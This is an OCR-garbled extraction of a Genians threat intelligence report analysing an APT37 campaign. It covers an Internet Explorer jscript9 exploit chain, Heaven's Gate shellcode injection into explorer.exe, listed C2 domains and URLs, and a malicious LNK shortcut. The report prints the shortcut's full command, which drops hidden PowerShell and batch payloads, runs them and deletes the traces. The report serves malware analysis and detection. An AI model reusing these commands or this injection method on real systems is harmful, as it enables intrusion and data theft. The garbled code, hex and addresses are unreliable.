12c40ab0 00000010 OccB8=010 0c940c40 Ds8a1800
12c40ac0 00000000 00000000 éadel6b& 00000101
12c40ad0 0c632080 00000000 0QOO0OO0O0O0 0O0OOOQOO
12c40ae0 00000010 OccB8e010 0c940c40 69£74020
12c40a£0 00000000 00000000 6a0=06bE& 00000101
12c40b00 0c632000 00000000 00000000 00000000
12c40bl0 00000010 OccB8e010 0c940c40 69£74020
12c40b20 00000000 00000000 éalel6b& 00000101

0:030> dd 10E67680

10e67680 69db%46c [126408E0 00000000 00000000
10e67690 62029018 0c19b900 6aled42b0 00000000
10et76al 00000010 OccBelld O0c940c40 A9£5c7d0
10e676b0 00000000 00000000 10e676e0 0DOOOOOOO
10e676cD) 69db946c 12c40ae0 00000000 0O00O0DOO
10e676d0  6a0e9018 Ocl9cPeld 6aledZ2b0 00000000
10et76e0  69db98f8 00000141 00000004 DODOOOOO
10e676f0 00000001 6a30dcBal 00000000 0QOOOOOOO

aX g 22HdE

‘jscript9l)s::RecyclableMethodsGroupWalker:Sort+0x 18"

77e28d40 co int 3
0:030> dd 12c40sb0
12cd40abl 00000010 DocBe010 0c940c40 GalZoabs

12c40ac0 00000000 00000000 éaleld&h8 00000101
12cd0ad0  0Oce32080 00000000 0QO00DOO00O0 OOOOQDOOO
12c40ae0 00000010 DoccBe010 0c940c40 69£74020
12cd40=f0 00000000 DOODOODO0 6ale0&6b8 00000101
12c40b00 02632000 00000000 00000000 OO0OOODODOO
12c40bl0 00000010 ODecBe0l0 029540040 69£74020
12c40b20 00000000 00000000 &ale0&tb8 00000101

2 HAE 'aX' &4:0]| QIZIZLO 2 'a8" B (VirtualProtect 42} Q12| 2t

- ol g2t -
axX(0x21212121, a8[0], a8[1], a8[2], a8[3], a8[4], a8[5], a8[6], 0x2121
0x21212121)

O 'aX' &£t S22 F2, HAEE 'jscript9!Js::RecyclableMethodsGroupWalker

:Sort+0x18' &4Vt SE2E|0, 2|Z2H 22 'VirtualProtect' &H4E £510 AT 0|

o
A+ Hofstn Aastct
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GaUZDaEE c3 ret

‘jseript9!)s::RecyclableMethodsGroupWalker:Sort+0x18' =&

Jscr1pt9‘Js Ra:yclableMethodSGruupWalkar :Sort 0:006> dd
bal2cadd ff push dword ptr [ecz+4] 0786bl4c
6a02caS0 Ehdlﬂ: mowv eax, dvord ptr [ecx+0Ch] 0786b15c
6a02cab3 682085026a push offset jscriptdlls. :ElementsConparer (6a0285e0) 0786bléc
6a02cab8 6a04 push 4 0786b17c
6al2cala Ef?UU& push dword ptr [eax+4] 0786b18c
6a02calbd push dword ptr [eax] 0786b19%
BaDZDESf fflEZEaBDESa call dvord ptr [jscript9!_imp  gsort_s (6alea328)] 0786blac
0786blbc

esp
05842971
42424243
00001b58
42424243
00000001
00000000
02000001
06dc3008

10267680
76c07a50
00000040
42424243
0786d094
0786bled
082ccfbl
0786b204

1000000bL
14787020
0c8030d0
072eb204
Ocaaldch
69£587£3
13075c08
0786blb4

082ccfbi
14787021
142a9c40
10e67640
0786bled
10267640
0786b430
1067640

LEH (IR} 28)

KERNEL3Z | VirtualProtectStub
76c07a50 8bhif OV

76cl7a52 55 push
76c07a53 8hec plt=14
76c07a55 5d pop
76c07a56 ££256407c776 np
76c07abc co int

edi. edi
ebp
ebp.esp
&b

VirtualProtectStub &

HA S
BT 2=

P
dvord ptr [KERNEL32! imp VirtualProtect
3

14787020
14787021
14787022
14787023
14787024
14787028
14787026
14787027

910

0|
o

90
90
90

nop)
nop
nop
nop
nop
nop
nop
nop

Y3ac sz

push eax
BES CCES9D13
74424 28 65786500
EE 130350000

FFDMD

Fa]] 2ax

'"VirtualProtect'
shEterL|Ct.

Genians Security Center

mov eCx,1539DESCC
mov dword ptr
call 202099E

55:

S0l &2 IFEE

OrA|8te 2 'VirtualProtect'

tPesp+23l, hwp.

'Ox9
SIAZ
st s

G5 7BES [esp+28

‘HncGetError'
20| 'PAG E_EXECUTE_READWRITE' e

0C3C033'22 £33t
Sl e Hots Aol

=5 'hwp.exe' ZZ2XM|AQ]

eax:GetModuleHandTeA

J:public: __thi

eax:GetModul eHand]eA

St *&~Cﬂ S EE AlEH
aT 12
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(D PAGE_EXECUTE_READWRITE

st 7o

1

1 <3 Fet

1 cc int3
e — T oG int3
EﬁDéer:rrr call 3830998 V'nuaIProtect(Cb‘-‘:C)l L - ZBZADZOO ﬁ.ﬂpgﬁi‘?‘g\ls”d“"zm“[gax] N——

Tart cax
8045 F8 o 1 E? :ﬁﬁg
€706 33C0C390 mov duard ptr- ds: [Es]i 90C3c033 I cc int3
50
FF75 F8 push dwurd ptr ss:[febp-sil
SBCF mov ecx, edi A
GA 08 push 8 \\,\;o
56
X [FOCGELE
ES FDFCFFFF Eall 830998 VirtualProtect(0x8) | . -3”— """"" B eassS——— . —
FFD|
90 nop

58 pop ebx 0 008B 00C3CCCC add byte ptr ds:[ebx-33333000
5F pop edi 1 cC int3
S5E pop esi 1
c3 Teave '
=] ret '

1

N
Ac A g

PAGE_WRITECOPY #H3t 50

[C12! 4-9] HncGetError &4

O CS2eZ #IEE Explorerexe ZE2NALI HES ESStL 'IsWowb4Process'
g5 Solf 64HIE9Q! Explorer.exe Z2AM ATt 32H|E SRBE (Wowbd) 2 HHE 4
Q=] SHolstL|ch

O 0]= X% "Heaven's Gate (=9 2)" 7|HE At

THAI LT

ob7| 2lsiAl =l

ES E£8060000

ebx:"explorer.exe"

|
ebx:"explorer.exe”, eax:OpenProcess

ebx:"explorer.exe”

O *Jl_.__._ 'VlrtuaIAIIocEX'
oS Explorer.exe TEAMA
ot+=E S50 64H|E

22 &

Genians Security Center

51 push ecx

50 push eax eax: IswWow64Process
89 D8417C2D mov_ecx,2D7C4

ES C1080000 @l s7F0908 _ _ _ _ | ________|
FDi eax

FFDO call_e eax Iswnsu?rncess.
837C24 14 00 [(esprF]TKiUsérApcy
v 75 07 jne 37E00EA

03F7 add esi,edi

8B3E mov edi,dword ptr ds:[esi]
83C6 04 add esi,4

8508 test ebx,ebx

@ IsWowb4Process TH= M3l

S 3 SHO|

— O M

[12! 4-10] Explorer.exe ZZAM|A 32H|E

'PAGE_EXECUTE_READWRITE' #3%t9|
FSHL|C}, O|Z0l= 'WriteProcessMemory'
St Ol 22| Z37Hof F L C

stoy
A P2 0|0 &etst
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| & explorer. = [u] X
General Statistics Performance Threads Token Modules
Memeory Environment Handles GPU Comment 17 explorer.exe (6340) (0xb60000 - 0xb61000) _ o %
! 8 rice free regions Strings... Refresh 00000000 [l 95 5c 24 08 48 89 7c 24 10 55 48 8b ec 48 83 H.\3.H.|5.UH..E.
= 00000010 ec 60 bb 2c 11 cc 24 c7 45 d0 77 €9 6= 69 8b cb . .,..5.E.wini..
Base address Type Size Protect... Use 00000020 c7 45 d4 €& €5 74 2 c7 45 d8 64 6c 6c 00 c7 45 .E.net..E.dll..Ef
| 0x420df000 Private: Commit 12kB RW4G Stack (thread £ 00000030 &0 75 72 €c €d c7 45 e4 €f €e 2e €4 c7 45 e8 éc .urlm.E.on.d.E.l|
0472 16000 Private: Commit 1248 RWAG  Stack (tread : 00000040 6c 00 00 c7 45 £0 6f 6c 65 33 c7 45 f£4 32 2e 64 1...E.o0le3.E.2.4
) ] 00000050 €c c7 45 £3 6c 00 00 00 e8 b3 03 00 00 48 8d 4d 1.E.1. JH.M
| | Oxa7asfoon P'fme: Commit 12k8 RWAG  Stack (tread : 00000060 d0 ££ dO b cb 2 aé 03 00 00 48 8d 4d e0 ££
| | owaBS2f000 Private: Comnit 12k6 RW4G  Stack (thread - 00000070 8b cb e8 99 03 00 00 48 8d 4d £0 £ d0 b cd
0x485af00 Private: Commit 12k8 RW4G  Stack (thread : 00000080 85 d7 &8 89 03 00 00 33 c§ ££ d0 =8 ec 04 00
0x436af000 Private: Commit 12kB RW+G Stack (thread : 00000090 48 8b d8 48 8b £3 80 38 00 74 11 48 8d 48 01 &,
0xb60000 Private: Commit 4kB RWX 000000a0 03 30 01 Sa 01 48 ££ cl 84 c0 75 £3 48 8d 05
0x57231000 Tmage: Commit S6 kB RX C:WiProgram F \ 000000k0 04 00 00 k9 00 20 e5 d3 48 2b d& 48 &d 05 &6
Ox57a61000 Image: Commit P C:Hindowst \.|900000c0 00 00 48 03 A2 e3 46 03 00 00 43 83 64 24 28
O Private: Commit 448 RX W000000d0 4c 8d 4F 01 48 83 64 24 20 00 4c Bd 43 ef 33
— 00000020 33 c§ ££ d0 b9 20 fc Lf 02 e8 22 03 00 00 33
0x7df427161000 Private: Commit 48 RX 000000£0 ba 00 00 a0 00 41 b8 00 10 00 00 44 2d 49 40
0x7df427171000 Private: Commit 4k RX 00000100 d0 48 Sb d 42 Eb 43 48 2d 42 0L =8 58 00 00
0x7df427181000 Private: Commit 48 RX 00000110 85 cO 74 2a 83 £3 01 76 14 48 8d 4b 01 8d 50
0x7df427191000 Private: Commit 4kB RX 00000120 Sa 03 30 01 48 £ff cl 42 83 ea 01 75 £3 80 7b
0x7df427121000 Private: Commit 448 RX 00000130 48 75 Ob %a 43 02 3c 89 74 17 3c 83 74 13 b
0x7df4271b 1000 Brivate: Commit 4B RX 00000140 a8 3d 1d €% c8 02 00 00 b9 88 13 00 00 £f dO
8 B 5 8 B 8
i e e e RN
N g 48 83 c c3 cc 48 © Cc 1] -]
0"7":271““” Private: Commit 4B RX 00000170 24 18 55 56 57 42 51 ec 40 02 00 00 48 8b £l
Ox7f4271¢ 1000 Private: Commit 6 RX 00000180 8b ea b9 3d 7e fe bEf 3 84 02 00 00 41 b8 04
0x7df42711000 Private: Commit 4kB RX 00000190 00 00 48 2d 4c 24 30 48 Sb dé ££ d0 48 33 ad
0x7df427201000 Private: Commit 4kB RX 00000120 7€ 02 00 00 00 b9 70 b2 20 dS eS8 €1 02 00 00
0x7df427211000 LR T
Re-ead Write Go to... 16 bytes per row v
Close

[212! 4-11] Explorer.exe Z2MAO|| QS HFE

O 32H|EQ| &lZEO|M 64H|E Explorer.exe T2 M|AQ| o=l 2lFEE AlSH
M= "Heaven's Gate (A=2| &)" 7|YH0| ALZELICE OF2f ARRIO| 'ret
HYO0I2} QIRIZf 0x330| 7|KEQILICE ™ 'ret far 0x33' YO = MER |01|A1 Bt

a

T 648 RERO| HES ASFLICH (0x33%2
MEY)

64HIE ZE NOTEQS| M|

007103EC 8945 CC mov dword ptr ss: [ebpfa ,eax
07103 8955 DO mov dword ptr ssi: ehp—]aﬂ edx
71 66:8C65 F4 mov word ptr ss:|lebp-C
71 B8 28000000 mov eax,2B ! 28:'++ | | EAX  000O0OO2B "+
71 661 BEED mov [, ax EBX 16394410
007103FE 8965 F8 mov dword ptr ss:|febp-s],esp ECX 00000000
00710401 83E4 FO and esp,FFFFFFFO EDX 00000000
710404 6A 33 push 33 EBP  0055E7C4
00710406 ES 00000000 call 710408 call $¢ _-E_Jr -------- TP
00710408 830424 05 | add dword ptr ss:|[fespdl,s 2128k (stdcall)
0071040F cB ret Tar T [esp+4] 00000033 0000003
00710410 48 dec eax Tsp+
AnTANAAA DaAn s =l - LY 2 s

[12] 4-12] Heaven's Gate T

© Knockin’ on Heaven’s Gate - Dynamic Processor Mode Switching
™ Analysis of Heaven’s Gate Part1 / Analysis of Heaven’s Gate Part 2

Genians Security Center

Hd ot

64H|EQ| RE=Z Haz|= A2

= A2

QoA  32HE IEE

O Heaven's Gate 7|20| £8&|H of2fe] ZESO|

sholer £~ QIELICH Zt1Z "Heaven's Gate"Zt 32H|E TZMA REOA 64HIE
IEE  A(0x0033)5HHLt, 64HIE Z=zMA

A3(0x0023)5t= 7= YLICt. o2t AHE 24 Alef|7t Ch 2L CH
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https://sachiel-archangel.medium.com/analysis-of-heavens-gate-part-2-3943b347fb18
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rocx, gword ptr .

rdx gword ptr [rhp—lCh]
gword ptr [rbp-24h]

ri

00401414 488h5584 nov
"00401418 ££75dc push
"0040141b 4958 pop
0040141d ££75d4 push gword ptr [rbp-2Ch]

"00401420 4959 pop r9
‘00401422 488bdScc now rax,qword ptr [rbp-34h]
‘00401426 2801 test al.l
00000000° 00401428 7503 ine shellcode+0x142d (00000000°0040142d)

(12 4-13] 64H|E B3 25

O #ICE G4HIEZ HEE
Explorer.exe T2 M| A0 ZQIE %iE% At Ct,

E
JJ
[l
0
-
()
Q
—
D
C
wn
()
-
_|
>
-
()
Q
Q
ol
>
Ul
|lha
0gt
Ew
2

00000000°004014db ebef inp
00000000 0040144d 4883ec20 sub rsp
00° 00401451 [

0000 3 5 ={ntdll IRt lCreatalsarThraad
00000000° 00401454 488bddec mov

rb
ToH, quord ptr [rbp-34h]

00000000 00401458 488d6decc20 lea rsp, [rsperox*8+20h]
00000000 00401454 Sf pop rdi
00000000 0040145 488945c4 mow quord ptr [rbp=3Ch

00000000° 00401462 =B00000000 call
00000000° 00401467 c744240423000000 mow
00000000°0040146f 8304240d add

].x
shellcode+0x1467 (UDUUODUD 0040467)
dword ptr [rsp+d]
dvord ptr [rsp]. 0D

00000000 00401473 eb retf
00000000° 00401474 668cds mov  ex.ds
QIR

0:000: dg rsp

gnoooono 0019fdal0 00000000 0O0O00O00 OOO0OOOOO 00000000
0noooo00° 0019fdb0 00000000 0O000000 00000000 00401454
00000000 0019fdec0 00000000 00000000 0OOOOQOOQOQO0DOQOOD
ﬂﬂﬂﬂﬂﬂﬂﬂ'ﬂﬂlgfddﬂr“UUUUUUUU'UUhGUUUU goQoooQOT onoooooo
000000007 0019fde0, 000000007 0019££68 000000007 00000000
0noo0o00*0019£fd£0, 00000000 OO0OOO0O0O0O0 O0OOOOOOO" 00000000
00000000 0019fe001 1d3da834° 00000000 00000000 0QO0O00O0ED
00000000 0019fel10! 00000000 0019fe88 00000000 QO00Q000

|
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R - StartAddress

O Explorer.exe ZZMA0| FUE 23
treamW'

[12! 4-14] RtlCreateUserThread& S5t 22E A

A =2
[EIEas=

=gl

s

08t

SO AME|H 2|24 02 'URLOpenBlockingS
'http://nav.offlinedocument[.]site/starting/press/without'

URL A0AM H|E7|Al02 AEZI CIRZE A|EE S C}

RAX 00007 FFC9AGEAEED <urimon. URLOpenBlockingStreami:

REX 0000000015 460000

BLX O-OO00-00000000000

BEDX 0000000007 F1F6AD L"http: //nav.offlinedocument. site/starting/press /without™
REF 0000000015 460000

BSP 0000000007 FLFET O

RSI 00000000020 005 BE "http: //nav.offl1inedocument. site/starting/press,/without™
RDI 0000000020005 BD

(33 4-15] Explorer.exe Z2MA AR E A5
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4.4,'4=2| &' EFZ| (Heaven's Gate Detection)

7t LT

O Genian EDRE z|okd IE JHZH(PoC) A2t Z0] 64HIE Windows OS
SHEO|A 32H|E 'IEXPLORE.EXE" AtA] 2 M|AT} 64H|E 'explorer.exe’ ZEMA0
4 ThreadZ ShellcodeE F(Injection)sll =2ftL|Ct. 0|28} "Heaven's Gate"
MHES XBA EfZ| AIRIO| 'MMDET}L AO[gH T2 MAZE A M E MHSH= M
22 LESHA R 2 O S0| 7HsRLCE.

O Genian EDRO|| £32l=l OHIEE= ZZAMA E2|Q AZEE El e 528

o
ABHOR ALY 4 YBUCH

ESlIR-d| 1EXPLORE.EXE
process

2023-12-18 10:42:10 © OpenProcess

=

DESKTOP- el \ i =i i
WORKGROUP \

winlogon.exe
parent process

userinit.exe

parent process TargetProcess ID 3716

Detect Type
Tag =
Custom Tag = L 53 LS
, Eix Eb B
Heaven's Gate EX| Process Name el

explorer.exe

parent process Process Fath  C#

Process ID
Access PROCESS_CREATE THREAD

@ 7ld We

\ SR A2 2023-12-18 10:42:10
N ) snwn  [EEP Anomay
¥

iexplore.exe bis nE:
parent process 4-network event
/" outgoing 1D YTOCTH YOI EEHAY YA MACS A
Gatecall) ®
EUEE]
3 HElE 0%
(D

. ,.
@ _ -~ IEXPLORE.EXE
Semeoo= -=" process

LIXGZKTJ.txt

[1& 4-16] Genian EDR A|F0|M &[S EfAlet 25

Genians Security Center 33



Genians Threat Intelligence Report

5. 2|3 &AM (Threat Attribution)

O ?Ig £82 SFAV AL S HESA Ql&e), olHY, AgRE 59

TTPs(Tactics, Techniques and Procedures)2t 242
3 E

! = Sk A o
7|, 2R U 5 sEAE AEY o+ Us Aot

O 9B &4 242 S5 Lho] 20l Hot QHS AR AlESHD M AT 4 oo
20| wME F0Is BAAES AL 0/ S oI2F T2 anHoR
Che st Yorgr 4 AsLict

5.1. APT37 Zim|Ql L (APT37 Campaign History)

O APT372 At 5EFE 11274 TS 7|2 & A ASS Atdlof ofd EMI0|
HLSHE OlUYE RELH, F2 LSE0F SAKAIE Y22 S43 MG/

O 3Z0= F2 HWP, HWPX, DOCX, XLSX §29 M IYUS A0, HWP,
HWPX 2A0l& 2td OLES Z&3 1, DOCX, XLSX0lE 244 ActiveX ZHEES MYsH
FEMSHLC

O C2 Domaing2 2% FArSH HElE £ e, =0l 0|9t £29f M2f0[Eof=
OIS A Eot7| Il 7t 242t2] Y2lQ| ¢S AMget A== FYFLIM.

Ea 5 [o] olH OF2| 9} .
S aC-A ol A2 C2 Domain
T o

ol
ON

2| Ar2l Rl nav.offlinedocument[.]site/c
}_;r(%riamu umgdnk-03 | apture/parts/you?view=[24

_NE- ="
2023-05-22 | 515,
22| Yol ]

20230512 BEHA| host.sharingdocument[.]Jone

2023-06-14 knx * /dashboard/explore/starred?
L2 AN|IE .
[AAIT] AR mail.smartprivacyc[.Jcom/salt
2023-06-30 | i u iz o 1 CLCOMOOO | _view_doc_words?user=[24
WEAEM hwp 2t2| 2lo| zH]
O—l HA
2023-07-19 | 42- HtQ4HS| & | user mail.smartprivacyc[.Jcom/get

Genians Security Center 34



Genians Threat Intelligence Report
(2023. 8).hwp /account/view?myact=[24At
2| Ao gt
(2515t 72 mail.smartprivacyc[.Jcom/get
2023-07-25 h*;°° = Rk /account/view?myact=[242}
P 2| o] 2}]
2ZM A2 27} nav.offlinedocument|[ ]site/c
2023-08-17 ;;(ﬂ;‘)gh M  * apture/parts/you?view=[24
=TS e 2t2| 9of 2]
ol ME|E mail.smartprivacyc[.Jcom/get
2023-08-30 | =51 = ASUS /account/view?myact=[24At
SEARwwxhwp ooz
2ZM A2 27} nav.offlinedocument|[ ]site/c
2023-09-09 ZE(A|§|§) h * % %%k nk apture/parts/you?view=[24
= VEET WD 2t2] elo| gt
[(25t= 5t 102 app.documentoffice[.]club/v
2023-10-22 h —ee YE Rxx oltage_group_intels?user=[2
WEX 4212] 9| Zt]
=0 4| A|RITI app.documentoffice[.]club/s
2023-10-25| & =M AIE7HA alt_view_doc_words?user=[2
ZAE2023 xlsx
A2t2] Uo| Zf]
o5t app.documentpfﬂce[.]club/v
2023-10-31 2‘:'271r0h30_=1_h Roxx oltage_group_intels?user=[2
=/T.0WD 4212] 9| Zt]
(@] Af0] app.documentoffice[.]club/s
2023-11-06 Hro‘,’g) q alt_view_doc_words?user=[2
= =).00C 4zf2| 19| ]
[2Lt cxxxxnk O app.documentoffice[.]club/s
2023-11-07 | #2AM_2023.11.0 01 — | alt_view_doc_words?user=[2
7.docx AZt2] 9| Zf]
(@] A0 app.documentoffice[.]club/s
2023-11-07 Hro‘,’g) | alt_view_doc_words?user=[2
=K 4212] o] g
Ol AFO app.documentoffice[.]club/s
2023-11-07 ](If!’?m) d ST***nk_O alt_view_doc_words?user=[2
=S).d0c 42t2| 29| 7]

Genians Security Center

35



Genians

O 'FEA| AZTHH ZAI2023 xlIsx.Ink' T2 RISHE| B2t

Threat Intelligence Report

| =
YHC|=2 ZetE BRI (BAT)Ol PowerShell @dE @0 o ARIE st
U APT37 52| /I A== AFSRS LI

O 2= o] oo ofsh

‘lsg ERet

DOCX, XLSX &2

AMEEl= A0
ERtsUCt

5.2.1. 'F2EA| A|Z7t4 2AI2023 xlsx.Ink" T} 2
S

—_
S0 AFEE HIZ7P[(LNK) 72| ofd ML 2 0| 2YALE AtEdl A2

HHEE FREA| A[ZTIE_ZA2023 xlsx' A DY L b
Ne=z Hf %A'—l':f. PEH{o 2 oty LNK 20| ZetE HWP, PDF,
P disS 422 o 0]7|(Decoy)& o =A7F

UHQILICE 512/2 O]t HOIAS] HP b XLSX BAI} Z3HE HO =

NES

Mo

=/ 12

st o, YM YE= HE gL

el o FLQEA| AMAIHE ZAR2023 xIsx.Ink
ol 37| 53,092,022 HIO|E
MD5 Hash d1dc2db2956803de7eef7a76abacs5ch2
Ot LNK O QLEAAQ 'LECmd'™? =& Edf 248 4 Ao, sAH%

O 2Az= el &M HAHE E

—

o o
Al THae| Arguments {0l Ct~2| SIS

12 | ECmd Parse Ink files
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ZLEM A = fsx a4 x
Ef0]g pg 3A| =0t 3| OjF HH
L #2712y E 10012
!"5 FQCM AT EA2023.xx
Cha B £ 228
Chah #1%| SysWOowed

= |
A (S
HE 27 Pl [2E
HBER) |8}
200

Ig #7876 01012 B 220

L

O LNK IjUolA %25t PowerShell 32 Of2fiet oD, AMais AL [NK It
LYol AFQIEl XLSX MU BAT UL EEF

/k echo SET a=power>C:#WUserswPublicw282310.bat&&echo SET
b=shell.exe>>C:WUsersWPublic#w282310.bat&&echo SET
M=%a% %b % >>C:WUserswPublicw282310.bat&&echo call %M %
-windowstyle hidden "$dirPath=Get-Location;if($dirPath -Match
'System32" -or $dirPath -Match 'Program Files') {$dirPath = '%temp%"};
$InkPath=Get-Childltem -Path $dirPath -Recurse *.Ink | where-object
{$_.length -eq } | Select-Object -ExpandProperty FullName;
$InkFile=New-Object System.lO.FileStream($InkPath,
[System.lO.FileMode]::Open,
[System.lO.FileAccess]::Read);$InkFile.Seek(
[System.l0.SeekOQOrigin]::Begin);$pdfFile=New-Object byte[]
:$InkFile.Read($pdfFile, 0, 0xO0008DA6);$PdfPath =
$InkPath.Replace('.Ink'," xlIsx");sc $PdfPath $pdfFile -Encoding Byte;&
$PdfPath;$InkFile.Seek( ,[System.10.SeekOrigin]::Begin); $ex
eFile=New-Object byte[] ;$InkFile.Read($exeFile, O,
0x00000D18);$exePath=%$env:public+'W'+'281023.bat";sc $exePath
$exeFile -Encoding Byte;& $exePath;remove-item -path $exePath
-force; $InkFile.Close();remove-item -path $InkPath
-force;">>C:WUserswWPublicw282310.bat&& start /min
C:WUsersWPublicw282310.bat&&exit
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O ©A, siE LNK OHUO0| AHEE 2= |§ 2olst7] 2fsl 53,092,022(0x032A1EB6)
HIO|E 37| 712 LNK Ide| 22F 25U T 0|, LNK IH2| 0x1304 L EAIZE
0x8DA6 ZO|E 7iX|& XLSX IS LNKZI ZAHst= E=20| Aot 0xAOAA
QOMEE 0x0D18 ZO|E 7HX+= BAT OIS  '%Public%/281023.bat'2
A&

00001280 00 OO0 00 OO0 00 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO O0 O0 00 weveassancansaas
000012%0 00 00 00 OO0 OO0 00 00 OO0 OO0 00 OO0 OO0 Q0 O0 00 00 ...ivscvsssssansns
QD0012R0 0 0 oo 00 00 oo 00 wevcmcncncmncnns
Q00012B0 : ) 00 o

Qoo0012C0
Q0001200
QDO01ZED
Q00012F0
00001300 ) ) (
00001310 D) : o i#6...8.. ..
00001320 { : 2 -5 . -docProps/app. %
Q0001330 1 .5ik.A.%.p. AT
Q0001340 IVISLgHEs . hOGEH
Q0001350 1 5 10 J=¥e tAns 0B
00001360 45 54 4R - ) D 1 E”J_.., "By "™y

00001370 MEVE . . WesiOByaf
Q0001380 ®=: .8, EBE."®. ..
00001350 *, tURAOI»K -02-E-
Q00013A0 JB . A4580GSTE* . o
Q0001380 . B%m@agpi- . AlDa
Q00013Co ' ECO0DLY ; TR -~ Scil
Q0001300 CAY.HEV, ' .81,
Q00013ED J.A<U~vig5F5ch
Q00013F0 ¥z, BNODp £y+Ai
Q0001400 , keTLlH..#."8.2;
2 (h): 1304-A0A9 [oim: soae] X1LSX

QO00AOLD 5D 6C 2ZE 72 €5 6C 73 50 k.xml,relsPH. ...
0000ROZ0 08 00 OO OO0 20 00 22 14 6E A2 8% 01 ........ LM ome™,
0000AOZ0 00 00 ( B T
0000R040 0B 25 00 O tseseme s [Content
0000R0OS0 65 73 5D ZE _Types) .xmlPK...
QO00R0E0 00 08 00 00 Q0 20 00 B5 55 30 23 EB  .vcvsnsss cpUoEe
0000ROTO 02 00 0D OB SRS, A
0000A0E0 0 cee.aOt.._rels/,
Q000R0OS0 relsPH. . u.ianan.
0000ROAD §...6%....| scar
Q000R0BO Smin c:\\Windo
0000ROCO =% \ SysWOWE4\ \c
QQ00ARODD .exe fc for /f
Q000ROED cokens=*" %%a ir
Q000ROFD (*dir C:\Windo
Q000RLO0 Iz SysWows4\Wind
QO00R1I1O & waPowerShell'\ vl .
QOQ0ALZ0 & Phy*rghell.exe [
0000R130 & /b fod') do ca
Q000AL40 L $%a -windowst
QO00RLIE5D Le hidden =co
Q000A1E0 hd "Sred ="Syel
QO00RLITO pw="rEERAFEE5T42
0000R1E0 E36572T6E6963655
0000AL190 EE696ET44DELEEE
Q000RLAD E765725D3A3R536
Q000R1IBO E37572697479507
Q000RICH EFT46FE36FEC3D5

~ gatpaomasocs [zom.pis] BAT
[ 5-2] LNK L20i| A E XLSX A2t BAT Tt
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O 0=, LNK I Lo 4= XLSX IAnt BAT IiUS ddst O3 2- IS0
}é E|_’ LNK]IOIO z|.7|. AI-7\-||oI-[_||:|-
O 2| YoM ddE '281023.bat' IHU2 A O|F SA| AfA|E|12 '282310.bat’
0] A2 AASiof 5% TGS Powershell & H0pt Zaish 2aLICt

B Os|=2s mi

EEl = 23 =7 B[] 4=
€« v« NEX 38 v o L = 3% =

&« v 4 > sa. > MEH v 0 =0 HS

* EAET|

musaa * EARI ==.

$oese o muzae s nEE

B ex 4 zswmam  zsneac Jue=s =

= A of B 24 | ZoEA AT

mess v 4|

M et B s *
b e i 2
zgHre 28 4T

@ OneDrive sot

Iy pC @ OneDrive

B 3D 7™ @ 4 pc

; :izg 282310.bat desktop.ini : z?;':c

B = M

[ 24
[0 5-3] M=l BAT, XLSX It
O Ol 3AE M 7|&=8E DOCX / XLSX Atai|2t RAFSHA 244 ActiveX7t Z8HEl XLSX
oA S ArE3MS UL
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sz=c o 22 B BA =Y 26 = ) ~

|! HOH D ActiveX HEBE ALSE $ SEE ¥RWAUC SH=AE | x
G119 i £ v

A B [ D E F G [«]

o1 DAY EE) 122 8200 8,200 8,400

o2 PlHAITES) igigt 1270 1,185 1,300

93 |50 20| 35cm 1ok 12900 14,000 13,700

o4 | Z7) BHEE 7| ) 1kg 14,300 14,200 14,000

o5 |2AH It ol HEste ey IS 40,000 40,000 40,000

ERECE] 1% 1(m) 17 13,000 12,000 12,500

o7 | M=t K] 620,000 650,000 620,000

o H7lge 34 17 600,000 630,000 610,000

%9 |S4H(0158) S ] 48,000 47,600 45,600

100 SHSHAESS) Mol 5= 12 450,000 400,000 420,000

101 B HOIO A3 (HE) 12 620,000 625,000 620,000

102 | ZE@E) deldrs 12 492,000 450,000 470,000

103 |A|LfHAE 1% 200 200 200

104 | AlHAE SiF-Eer 13 16,000 15,000 15,000

105 |HA|2 71222 16,000 15,000 15,000

06| FESR S 71223 71222 3,000 3,000 3,000

107 | MEIR R gt |- H(50kg) 17 16,000 15,000 15,000

108 | EE A BB 10HEH (35~50kg) 1214 2,000 1,500 1,500

109 A[HE 1800+27} 0|4 1kg 500 500 500

110 |EtR(IA MaOHERR) 20+ 20 1% 1,000 1,000 1,000

m

112

113

114

115

116

17

18

119 1=

y | BYSTHANT | EEMAZ FINT | BESBAE | . @ ¢ [ [

| ] B - 1 + 100%

[2E 5-4] XLSX @M 7t HE 2t

O 0| A SHOM ActiveX HEE 20 F1 SHOAM [2HI= AE] HES 28
d2, XLSX ot WSl ActiveX0ll ZAlistsE SHAF C2 MB{O| HES A5t 27t
ofd HO|2ZEE H22 =g LT

Q0000530 00 00 00 OO0 00 OO0 00 00 00 00 00 Q0 00 00 00 00 ... veev e nnnnn
00000540 00 OO0 Q0 00 00 00 00 00 01 00 00 OO0 00 00 00 00 . iewennnnnnass
00000530 00 00 00 00 00 00 00 00 C2 00 14 00 1F 00 80 33 ........ A..... €35

QQO00%e0 1C 37 AQO 42 €% 10 AZ EA 08B 00 2B 30 30 5D AC 00 .# Bi.
Q0000870 61 20 00 Q0 00 00 |63 00 T4 00 74 00 TO 00 33 00 . 2
00Qo0980 PRF 00 2F 00 61 00 70 00 70 00 2ZE 00 &4 00 6F 00 [N
00000%S0 |63 00 75 00 &D 00 €5 00 €E 00 74 00 &F 00 66 00

00C0Q05A0 |66 00 €% 00 63 00 €5 00 2E 00 63 00 &C 00O 75 00O cEe
00C000SBO |62 00 2F 00 73 00 €1 00 &C 00 74 00 5F 00 7& 00 cIlciEc
0000Q08C0 |68 00 €5 00 77 00 5F 00 €4 00 6F 00 &3 00 5F 0O W d.o.

¥}
[=I

QQQoQosD0 [77 00 eF 00 72 00 €4 00 73 00 3F 00 75 00 73 00Q
QOQ00Q0SEQ |65 00 72 00 3D 00 43 00 31 00 31 00 4% 00 37 00
QQ00QO0SF0 |35 00 50 00 46 00 46 00 30 00 5A 00 47 00 35 00Q
QOQ00Q0ACO |33 00 4E 00 44 00 47 00 30 00 30 00 48 00 36 00 SERMY

Q0Q000RA10 |34 00 4F 0O ﬂg 00 Q0 00 Q0 00 Q0 OO0 00 00 Q0 00 -0 .
QQO000R20 00 OO0 QOO0 OO0 00 00 00 00 00 00 00 OO0 00 00 00 00 . venennnnnnass
Q0000A30 OO0 OO0 00 OO0 00 OO0 00 00 00 00 00 Q0 00 00 00 00 ... veen e nnnnn

[
B

@Al
a

[O& 5-5] XLSXOf| &l e ActiveXe| C2 =0y Q1 =4

O C3ez Adgls= 281023.bat OHUOE HEX 2= Hh=E3tEl PowerShell
AJEHET Z2HEL Y
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O sliY PowerShell 2A3ZE= SARS| C2 MHOM 2SSl '20231028 selca.zip'
